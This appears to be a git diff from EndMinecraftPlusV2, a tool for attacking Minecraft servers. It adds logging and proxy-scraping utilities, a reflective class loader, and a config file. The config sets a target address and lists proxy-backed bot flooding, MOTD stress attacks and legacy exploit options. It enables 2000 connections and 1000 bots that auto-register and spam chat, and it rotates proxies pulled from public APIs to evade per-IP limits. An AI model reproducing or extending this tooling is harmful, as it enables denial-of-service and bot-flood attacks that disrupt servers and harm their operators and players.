+package cn.serendipityr.EndMinecraftPlusV2.Tools;
+
+public class LogUtil {
+ public static void doLog(int type, String content, String extra) {
+ String logType;
+ String msg;
+
+ switch (type) {
+ case 1:
+ logType = "[Internal Error]";
+ break;
+ case 2:
+ logType = "[Attack Error]";
+ break;
+ case 3:
+ logType = "[DEBUG]";
+ break;
+ default:
+ logType = "[" + extra + "]";
+ }
+
+ msg = logType + " " + content;
+
+ if (type == -1) {
+ System.out.print(msg);
+ } else {
+ System.out.println(msg);
+ }
+ }
+
+ public static void emptyLog() {
+ System.out.println("");
+ }
+}
diff --git a/src/cn/serendipityr/EndMinecraftPlusV2/Tools/OtherUtils.java b/src/cn/serendipityr/EndMinecraftPlusV2/Tools/OtherUtils.java
new file mode 100644
index 0000000..52ce720
--- /dev/null
+++ b/src/cn/serendipityr/EndMinecraftPlusV2/Tools/OtherUtils.java
@@ -0,0 +1,62 @@
+package cn.serendipityr.EndMinecraftPlusV2.Tools;
+
+import java.io.File;
+import java.lang.reflect.Method;
+import java.net.URL;
+import java.net.URLClassLoader;
+import java.util.Random;
+import java.util.regex.Matcher;
+import java.util.regex.Pattern;
+
+public class OtherUtils {
+ public static void doSleep(long millis) {
+ try {
+ Thread.sleep(millis);
+ } catch (InterruptedException e) {
+ e.printStackTrace();
+ }
+ }
+
+ public static Matcher matches(String str, String regex) {
+ Pattern mPattern = Pattern.compile(regex);
+ return mPattern.matcher(str);
+ }
+
+ public static String getRandomString(int minLength, int maxLength) {
+ String str = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789";
+ Random random = new Random();
+ int length = random.nextInt(maxLength) % (maxLength - minLength + 1) + minLength;
+ StringBuilder stringBuilder = new StringBuilder();
+ for (int i = 0; i < length; ++i) {
+ int number = random.nextInt(62);
+ stringBuilder.append(str.charAt(number));
+ }
+ return stringBuilder.toString();
+ }
+
+ @SuppressWarnings("unchecked")
+ public static T getCo(String date, T def) {
+ if (date.equals("")) {
+ return def;
+ }
+ return (T) date;
+ }
+
+ public static int getCo(String date, int def) {
+ if (date.equals("")) {
+ return def;
+ }
+ return Integer.parseInt(date);
+ }
+
+ public static void loadLibrary(File file) {
+ try {
+ URLClassLoader cl = (URLClassLoader) ClassLoader.getSystemClassLoader();
+ Method method = URLClassLoader.class.getDeclaredMethod("addURL", URL.class);
+ method.setAccessible(true);
+ method.invoke(cl, file.toURL());
+ } catch (Exception e) {
+ e.printStackTrace();
+ }
+ }
+}
diff --git a/src/cn/serendipityr/EndMinecraftPlusV2/Tools/ProxyUtil.java b/src/cn/serendipityr/EndMinecraftPlusV2/Tools/ProxyUtil.java
new file mode 100644
index 0000000..71d3a8a
--- /dev/null
+++ b/src/cn/serendipityr/EndMinecraftPlusV2/Tools/ProxyUtil.java
@@ -0,0 +1,77 @@
+package cn.serendipityr.EndMinecraftPlusV2.Tools;
+
+import java.io.BufferedReader;
+import java.io.FileReader;
+import java.io.IOException;
+import java.util.ArrayList;
+import java.util.List;
+import java.util.regex.Matcher;
+
+public class ProxyUtil {
+ public static final List proxies = new ArrayList<>();
+
+ public static void getProxies() {
+ String getMethod;
+
+ switch (ConfigUtil.ProxyGetType) {
+ case 2:
+ getMethod = "通过本地文件获取";
+ getProxiesFromFile();
+ break;
+ case 3:
+ getMethod = "通过API+本地文件获取";
+ getProxiesFromFile();
+ getProxiesFromAPIs();
+ break;
+ case 1:
+ default:
+ getMethod = "通过API获取";
+ getProxiesFromAPIs();
+ }
+
+ LogUtil.doLog(0, "获取代理完成! (" + getMethod + " | 数量: " + proxies.size() + "个)", "ProxyUtil");
+ LogUtil.emptyLog();
+ }
+
+ public static void getProxiesFromAPIs() {
+ for (String url:ConfigUtil.ProxyAPIs) {
+ String ips = HTTPUtil.sendGet(url);
+
+ Matcher matcher = OtherUtils.matches(ips, "\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}\\:\\d{1,5}");
+ while (matcher.find()) {
+ String ip = matcher.group();
+ proxies.add(ip);
+ }
+ }
+ }
+
+ public static void getProxiesFromFile() {
+ try {
+ if (!ConfigUtil.ProxyFile.exists()) {
+ LogUtil.doLog(1, "无法从文件读取代理! 文件不存在。", null);
+ return;
+ }
+
+ BufferedReader reader = new BufferedReader(new FileReader(ConfigUtil.ProxyFile));
+ String tempString;
+ while ((tempString = reader.readLine()) != null) {
+ proxies.add(tempString);
+ }
+
+ reader.close();
+ } catch (IOException e) {
+ LogUtil.doLog(1, "无法从文件读取代理! IO异常: " + e, null);
+ }
+ }
+
+ public static void runUpdateProxiesTask(int time) {
+ new Thread(() -> {
+ while (true) {
+ OtherUtils.doSleep(time * 1000L);
+ synchronized (proxies) {
+ getProxiesFromAPIs();
+ }
+ }
+ }).start();
+ }
+}
diff --git a/src/cn/serendipityr/EndMinecraftPlusV2/Tools/SetTitle.java b/src/cn/serendipityr/EndMinecraftPlusV2/Tools/SetTitle.java
new file mode 100644
index 0000000..e16fc44
--- /dev/null
+++ b/src/cn/serendipityr/EndMinecraftPlusV2/Tools/SetTitle.java
@@ -0,0 +1,10 @@
+package cn.serendipityr.EndMinecraftPlusV2.Tools;
+
+import com.sun.jna.Library;
+import com.sun.jna.Native;
+import com.sun.jna.Platform;
+
+public interface SetTitle extends Library {
+ SetTitle INSTANCE = Native.loadLibrary((Platform.isWindows() ? "kernel32" : "c"), SetTitle.class);
+ boolean SetConsoleTitleA(String title);
+}
\ No newline at end of file
diff --git a/src/config.yml b/src/config.yml
new file mode 100644
index 0000000..6ff8786
--- /dev/null
+++ b/src/config.yml
@@ -0,0 +1,58 @@
+##############################
+# EndMinecraftPlusV2 #
+# Forked by SerendipityR #
+##############################
+
+AttackSettings:
+ Address: "example.com"
+ Port: 25565
+ # 攻击方式:
+ # 1 - BotAttack - 集群假人(代理)
+ # 2 - MotdAttackP - MOTD压测(代理)
+ # 3 - MotdAttack - MOTD压测(无代理)
+ # 4 - DoubleAttack - 影分身攻击(代理,仅原版单服可用)
+ Method: 1
+ Time: 3600
+ ConnectDelay: 250
+ # 实际连接数由代理质量和机器性能有关
+ # 进行无代理Motd压测时不建议大于32
+ MaxConnections: 2000
+ # 旧版漏洞利用,大概率无效
+ TabAttack: true
+ AntiAttackMode: true
+ DoubleExploitPlayer: "ImOldSix_666"
+
+BotSettings:
+ # 可用占位符:
+ # $rnd - 随机字符
+ # $pwd - 随机生成密码
+ BotName: "ImOldSix_$rnd"
+ BotCount: 1000
+ RejoinCount: 5
+ RejoinDetect:
+ - "AntiAttack"
+ ClickVerifiesDetect:
+ - "点击验证"
+ Register&Login: true
+ RegisterCommands:
+ - "/register $pwd $pwd"
+ - "/login $pwd"
+ CustomChat:
+ - "喵喵喵萌喵~ $rnd"
+ - "喵喵喵萌~ $rnd"
+ - "喵喵喵~ $rnd"
+ - "喵喵~ $rnd"
+ - "喵~ $rnd"
+ ChatDelay: 3
+
+Proxy:
+ # 代理获取方式:
+ # 1 - API - 从API获取
+ # 2 - File - 从本地读取
+ # 3 - File + API - 两种方式同时获取
+ GetType: 1
+ UpdateTime: 300
+ File: "proxies.txt"
+ APIs:
+ - "http://www.66ip.cn/mo.php?tqsl=9999"
+ - "https://www.89ip.cn/tqdl.html?api=1&num=9999"
\ No newline at end of file
diff --git a/src/data.yml b/src/data.yml
new file mode 100644
index 0000000..3bca5df
--- /dev/null
+++ b/src/data.yml
@@ -0,0 +1,2 @@
+Data:
+ - ""
\ No newline at end of file